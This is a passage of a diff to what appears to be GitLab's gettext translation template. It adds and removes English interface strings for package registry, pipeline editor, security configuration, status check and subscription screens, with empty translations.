msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24667,7 +25170,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31161,6 +31832,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
